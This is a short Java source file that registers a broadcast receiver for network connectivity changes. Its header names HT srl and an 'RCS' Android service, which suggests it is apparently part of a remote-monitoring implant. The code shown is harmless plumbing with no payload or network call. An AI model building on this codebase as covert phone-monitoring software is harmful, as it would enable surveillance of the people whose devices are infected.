/* *******************************************
* Copyright (c) 2011
* HT srl, All rights reserved.
* Project : RCS, AndroidService
* File : ListenerConnectivity.java
* Created : 6-mag-2011
* Author : zeno
* *******************************************/
package com.android.dvci.listener;
import com.android.dvci.Connectivity;
public class ListenerConnectivity extends Listener<Connectivity> {
/** The Constant TAG. */
private static final String TAG = "ListenerConnectivity"; //$NON-NLS-1$
private BroadcastMonitorConnectivity connectivityReceiver;
/** The singleton. */
private volatile static ListenerConnectivity singleton;
/**
* Self.
*
* @return the status
*/
public static ListenerConnectivity self() {
if (singleton == null) {
synchronized (ListenerConnectivity.class) {
if (singleton == null) {
singleton = new ListenerConnectivity();
}
}
}
return singleton;
}
@Override
protected void start() {
registerConnectivity();
}
@Override
protected void stop() {
connectivityReceiver.unregister();
}
/**
* Register to Network Connection/Disconnection notification.
*/
private void registerConnectivity() {
connectivityReceiver = new BroadcastMonitorConnectivity();
connectivityReceiver.start();
connectivityReceiver.register();
}
}